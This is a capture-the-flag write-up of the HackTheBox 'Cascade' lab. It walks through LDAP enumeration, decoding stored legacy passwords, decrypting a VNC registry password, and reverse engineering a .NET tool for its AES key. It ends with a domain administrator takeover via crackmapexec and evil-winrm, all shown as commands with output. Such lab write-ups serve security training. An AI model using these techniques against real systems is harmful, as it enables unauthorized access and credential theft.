The Cascade machine has been created by VbScrub. This is a medium Windows Machine with a strong focus on Active Directory exploitation, but also a bit of cryptography and reverse engineering. It should be noted that the machine is a bit CTF-y.
If you didn’t solve this challenge and just look for answers, first you should take a look at this mind map from Orange Cyberdefense and try again. It could give you some hints for attack paths when dealing with an Active Directory.
Note: All the actions performed against the target machine have been done with a standard Kali Linux machine, except for the Reverse Engineering part. You can download Kali from the official website here.
In a penetration test or red team, reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting.
This information can then be leveraged by an adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute initial access, to scope and prioritize post-compromise objectives, or to drive and lead further reconnaissance efforts. Here, our only piece of information is an IP address.
Scan with Nmap
Let’s start with a classic service scan with Nmap in order to reveal some of the ports open on the machine.
Note: Always allow a few minutes after the start of an HTB box to make sure that all the services are properly running. If you scan the machine right away, you may miss some ports that should be open.
$ nmap -sV -Pn 10.129.140.139 Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-07 14:45 EST Nmap scan report for 10.129.140.139 Host is up (0.019s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-02-07 19:45:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 58.95 seconds
Remember: By default, Nmap will scans the 1000 most common TCP ports on the targeted host(s). Make sure to read the documentation if you need to scan more ports or change default behaviors.
The LDAP (389/TCP) port is open and this computer seems to be a domain controller for cascade.local. Let’s see if we can extract some users.
First, we can try an anonymous bind on the LDAP port using ldapsearch and list usernames. Here, we used the
grep command to look for the userPrincipalName attribute that specifies the UPN of the users.
$ ldapsearch -x -b "dc=cascade,dc=local" -H ldap://10.129.140.139 | grep userPrincipalName userPrincipalName: CascGuest@cascade.local userPrincipalName: firstname.lastname@example.org userPrincipalName: email@example.com userPrincipalName: firstname.lastname@example.org userPrincipalName: email@example.com userPrincipalName: firstname.lastname@example.org userPrincipalName: email@example.com userPrincipalName: firstname.lastname@example.org userPrincipalName: email@example.com userPrincipalName: firstname.lastname@example.org userPrincipalName: email@example.com userPrincipalName: firstname.lastname@example.org userPrincipalName: BackupSvc@cascade.local userPrincipalName: email@example.com userPrincipalName: firstname.lastname@example.org
We got some users. Now, for the CTF-y part, we had to take a closer look at
ldapsearch command output and found an attribute named cascadeLegacyPwd for the email@example.com user.
$ ldapsearch -x -b "dc=cascade,dc=local" -H ldap://10.129.140.139 | grep -E 'userPrincipalName|cascadeLegacyPwd' userPrincipalName: CascGuest@cascade.local userPrincipalName: firstname.lastname@example.org userPrincipalName: email@example.com userPrincipalName: firstname.lastname@example.org cascadeLegacyPwd: clk0bjVldmE= userPrincipalName: email@example.com userPrincipalName: firstname.lastname@example.org ...[snip]...
base64 command, it was possible to decode the value and get a potential password.
$ echo clk0bjVldmE= | base64 -d rY4n5eva
Then, using crackmapexec, it was possible to check if the password was valid.
$ crackmapexec smb 10.129.140.139 -d cascade.local -u r.thompson -p rY4n5eva SMB 10.129.140.139 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False) SMB 10.129.140.139 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
While r.thompson does not have any remote access to the computer, using
crackmapexec and the
--shares switch, it was possible to list some shares accessible by this user on the target computer.
$ crackmapexec smb 10.129.140.139 -d cascade.local -u r.thompson -p rY4n5eva --shares SMB 10.129.140.139 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False) SMB 10.129.140.139 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva SMB 10.129.140.139 445 CASC-DC1 [+] Enumerated shares SMB 10.129.140.139 445 CASC-DC1 Share Permissions Remark SMB 10.129.140.139 445 CASC-DC1 ----- ----------- ------ SMB 10.129.140.139 445 CASC-DC1 ADMIN$ Remote Admin SMB 10.129.140.139 445 CASC-DC1 Audit$ SMB 10.129.140.139 445 CASC-DC1 C$ Default share SMB 10.129.140.139 445 CASC-DC1 Data READ SMB 10.129.140.139 445 CASC-DC1 IPC$ Remote IPC SMB 10.129.140.139 445 CASC-DC1 NETLOGON READ Logon server share SMB 10.129.140.139 445 CASC-DC1 print$ READ Printer Drivers SMB 10.129.140.139 445 CASC-DC1 SYSVOL READ Logon server share
Here, we can see that r.thompson has the READ permission on some folders.
$ smbclient \\\\10.129.140.139\\Data -U r.thompson Enter WORKGROUP\r.thompson's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Jan 26 22:27:34 2020 .. D 0 Sun Jan 26 22:27:34 2020 Contractors D 0 Sun Jan 12 20:45:11 2020 Finance D 0 Sun Jan 12 20:45:06 2020 IT D 0 Tue Jan 28 13:04:51 2020 Production D 0 Sun Jan 12 20:45:18 2020 Temps D 0 Sun Jan 12 20:45:15 2020 6553343 blocks of size 4096. 1626796 blocks available smb: \>
By taking a look at the Data share, we found multiple folders.
In a real-world scenario, adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives. With the previously discovered shares, let’s see if we can find interesting files.
Let’s start by recursively download all the content of Data and see if we can find something. Note that we used the
recurse command to enable directory recursion for the command
prompt off to make sure that all specified files (if any) will be transferred without asking if we want to download them.
smb: \> recurse smb: \> prompt off smb: \> mget * NT_STATUS_ACCESS_DENIED listing \Contractors\* NT_STATUS_ACCESS_DENIED listing \Finance\* NT_STATUS_ACCESS_DENIED listing \Production\* NT_STATUS_ACCESS_DENIED listing \Temps\* getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as IT/Email Archives/Meeting_Notes_June_2018.html (26.5 KiloBytes/sec) (average 26.5 KiloBytes/sec) getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log (13.4 KiloBytes/sec) (average 19.9 KiloBytes/sec) getting file \IT\Logs\DCs\dcdiag.log of size 5967 as IT/Logs/DCs/dcdiag.log (61.3 KiloBytes/sec) (average 33.8 KiloBytes/sec) getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as IT/Temp/s.smith/VNC Install.reg (25.4 KiloBytes/sec) (average 31.6 KiloBytes/sec) smb: \> exit
Done. Let’s start by taking a look at the Meeting_Notes_June_2018.html file.
$ cat IT/Email\ Archives/Meeting_Notes_June_2018.html ...[snip]... <p>-- We will be using a temporary account to perform all tasks related to the network migration and this account will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). </p> ...[snip]...
Well, it talks about a now-deleted TempAdmin account and it seems that this account had the same password as administrator, we will get back to that later. Let’s keep looking…
We also have a file named VNC Install.reg in the s.smith directory.
$ cat IT/Temp/s.smith/VNC\ Install.reg Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC] [HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server] "ExtraPorts"="" "QueryTimeout"=dword:0000001e "QueryAcceptOnTimeout"=dword:00000000 "LocalInputPriorityTimeout"=dword:00000003 "LocalInputPriority"=dword:00000000 "BlockRemoteInput"=dword:00000000 "BlockLocalInput"=dword:00000000 "IpAccessControl"="" "RfbPort"=dword:0000170c "HttpPort"=dword:000016a8 "DisconnectAction"=dword:00000000 "AcceptRfbConnections"=dword:00000001 "UseVncAuthentication"=dword:00000001 "UseControlAuthentication"=dword:00000000 "RepeatControlAuthentication"=dword:00000000 "LoopbackOnly"=dword:00000000 "AcceptHttpConnections"=dword:00000001 "LogLevel"=dword:00000000 "EnableFileTransfers"=dword:00000001 "RemoveWallpaper"=dword:00000001 "UseD3D"=dword:00000001 "UseMirrorDriver"=dword:00000001 "EnableUrlParams"=dword:00000001 "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
This is interesting, it’s a backup of registry keys related to VNC. We can also see an encoded password. VNC uses a hardcoded DES key to store credentials. The same key is used across multiple product lines so we may get a cleartext password by decrypting it.
Using this post about VNC passwords, we can try to decrypt it. According to the article, decryption the password is as simple as that:
$ echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv 00000000 73 54 33 33 33 76 65 32 |sT333ve2| 00000008
Cool, we got a cleartext password. As we found this password in s.smith folder, let’s use this username with
$ crackmapexec winrm 10.129.140.139 -d cascade.local -u s.smith -p sT333ve2 HTTP 10.129.140.139 5985 10.129.140.139 [*] http://10.129.140.139:5985/wsman WINRM 10.129.140.139 5985 10.129.140.139 [+] cascade.local\s.smith:sT333ve2 (Pwn3d!)
Great, we have valid credentials and a WinRM access.
Using Evil-WinRM and the recovered account, we can try to connect to the remote machine.
$ evil-winrm -i 10.129.140.139 -u s.smith -p sT333ve2 Evil-WinRM shell v3.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\s.smith\Documents> dir C:\Users\s.smith\Desktop Directory: C:\Users\s.smith\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 2/10/2022 7:48 PM 34 user.txt -a---- 2/4/2021 4:24 PM 1031 WinDirStat.lnk
We now have a remote shell access and the first flag.
Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities.
Shared Folder Recon
Like the previous user, let’s take a look at the shared folders with s.smith credentials. Note that this part was again a bit CTF-y as we don’t have any clear direction on how to get further on this box.
$ smbclient \\\\10.129.140.139\\Audit$ -U s.smith Enter WORKGROUP\s.smith's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Jan 29 13:01:26 2020 .. D 0 Wed Jan 29 13:01:26 2020 CascAudit.exe An 13312 Tue Jan 28 16:46:51 2020 CascCrypto.dll An 12288 Wed Jan 29 13:00:20 2020 DB D 0 Tue Jan 28 16:40:59 2020 RunAudit.bat A 45 Tue Jan 28 18:29:47 2020 System.Data.SQLite.dll A 363520 Sun Oct 27 02:38:36 2019 System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 02:38:38 2019 x64 D 0 Sun Jan 26 17:25:27 2020 x86 D 0 Sun Jan 26 17:25:27 2020 6553343 blocks of size 4096. 1627217 blocks available
We found a few DLL/EXE file as well as a DB folder.
smb: \> cd DB smb: \DB\> dir . D 0 Tue Jan 28 16:40:59 2020 .. D 0 Tue Jan 28 16:40:59 2020 Audit.db An 24576 Tue Jan 28 16:39:24 2020 6553343 blocks of size 4096. 1627215 blocks available smb: \DB\> get Audit.db getting file \DB\Audit.db of size 24576 as Audit.db (160.0 KiloBytes/sec) (average 160.0 KiloBytes/sec)
We got our hands on a file named Audit.db. Using SQLite Database Browser (installed on Kali) we found a pwd field related to the ArkSvc user.
As it looks like a Base64 encoded value, let’s try to decode it.
$ echo BQO5l5Kj9MdErXx6Q6AGOw== | base64 -d ������D�|zC�;
The value seems to be encrypted, maybe the DLL/EXE we found previously contain some information about how to decrypt it. Let’s download them.
smb: \DB\> cd .. smb: \> get CascAudit.exe getting file \CascAudit.exe of size 13312 as CascAudit.exe (104.8 KiloBytes/sec) (average 135.0 KiloBytes/sec) smb: \> get CascCrypto.dll getting file \CascCrypto.dll of size 12288 as CascCrypto.dll (85.1 KiloBytes/sec) (average 85.1 KiloBytes/sec) smb: \> exit
Now we can dig in the next part of the challenge.
First, we need to know what kind of executable we have. Using the
file command, we can see which type of file it is.
$ file Casc* CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows CascCrypto.dll: PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
.NET files (32-bit)! Alright, let’s fire up a Windows machine with dnSpy installed. dnSpy is a debugger and .NET assembly editor. You can use it to edit and debug assemblies even if you don’t have any source code available.
After a bit of reverse engineering, we found two (2) interesting methods. The first one, DecryptString() seems to be using AES128 as encryption algorithm, we even have the cleartext IV: 1tdyjCbY1Ix49842.
The second one performs an SQL query on the pwd field we found previously and decrypt the content with the following key: c4scadek3y654321
With that information, we can try to decrypt the content of the pwd field. The easiest way was to use CyberChef and the AES Decrypt module.
Now, with the recovered value, we can try to login as arksvc.
$ crackmapexec winrm 10.129.140.139 -d cascade.local -u arksvc -p w3lc0meFr31nd HTTP 10.129.140.139 5985 10.129.140.139 [*] http://10.129.140.139:5985/wsman WINRM 10.129.140.139 5985 10.129.140.139 [+] cascade.local\arksvc:w3lc0meFr31nd (Pwn3d!)
The password is valid and we do have a WinRM access to the remote computer.
Finding the admin password
evil-winrm we can connect to the remote machine and start looking for the deleted TempAdmin that the Meeting_Notes_June_2018.html file was talking about.
This task is relatively easy to complete with the Get-ADObject cmdlet. By using an LDAP filter and the -IncludeDeletedObjects switch, it was possible the find the user.
$ evil-winrm -i 10.129.140.139 -u arksvc -p w3lc0meFr31nd Evil-WinRM shell v3.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -ldapfilter "(&(isDeleted=TRUE))" -IncludeDeletedObjects ...[snip]... Deleted : True DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local Name : TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 ObjectClass : user ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
Now, let’s fine-tune our LDAP filter to get some information about this TempAdmin user and recover its properties.
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName=TempAdmin) (isDeleted=TRUE))" -IncludeDeletedObjects -Properties * accountExpires : 9223372036854775807 badPasswordTime : 0 badPwdCount : 0 CanonicalName : cascade.local/Deleted Objects/TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz CN : TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 ...[snip]...
Once again, we found the cascadeLegacyPwd attribute with a Base64 encoded value. Let’s decode it.
$ echo YmFDVDNyMWFOMDBkbGVz | base64 -d baCT3r1aN00dles
Given the information we previously found, this password should be the same for the administrator account.
$ crackmapexec smb 10.129.140.139 -d cascade.local -u administrator -p baCT3r1aN00dles SMB 10.129.140.139 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False) SMB 10.129.140.139 445 CASC-DC1 [+] cascade.local\administrator:baCT3r1aN00dles (Pwn3d!)
Great, we now have credentials (
administrator:baCT3r1aN00dles) for the administrator account. Now we can connect on the remote machine with administrative privileges and read the second flag.
$ crackmapexec smb 10.129.140.139 -d cascade.local -u administrator -p baCT3r1aN00dles -x "dir C:\Users\Administrator\Desktop" SMB 10.129.140.139 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False) SMB 10.129.140.139 445 CASC-DC1 [+] cascade.local\administrator:baCT3r1aN00dles (Pwn3d!) SMB 10.129.140.139 445 CASC-DC1 [+] Executed command SMB 10.129.140.139 445 CASC-DC1 Volume in drive C has no label. SMB 10.129.140.139 445 CASC-DC1 Volume Serial Number is CF98-2F06 SMB 10.129.140.139 445 CASC-DC1 SMB 10.129.140.139 445 CASC-DC1 Directory of C:\Users\Administrator\Desktop SMB 10.129.140.139 445 CASC-DC1 SMB 10.129.140.139 445 CASC-DC1 08/11/2021 15:58 <DIR> . SMB 10.129.140.139 445 CASC-DC1 08/11/2021 15:58 <DIR> .. SMB 10.129.140.139 445 CASC-DC1 10/02/2022 19:48 34 root.txt SMB 10.129.140.139 445 CASC-DC1 1 File(s) 34 bytes SMB 10.129.140.139 445 CASC-DC1 2 Dir(s) 6,664,507,392 bytes free
Awesome! I hope you enjoyed it, I know I did :)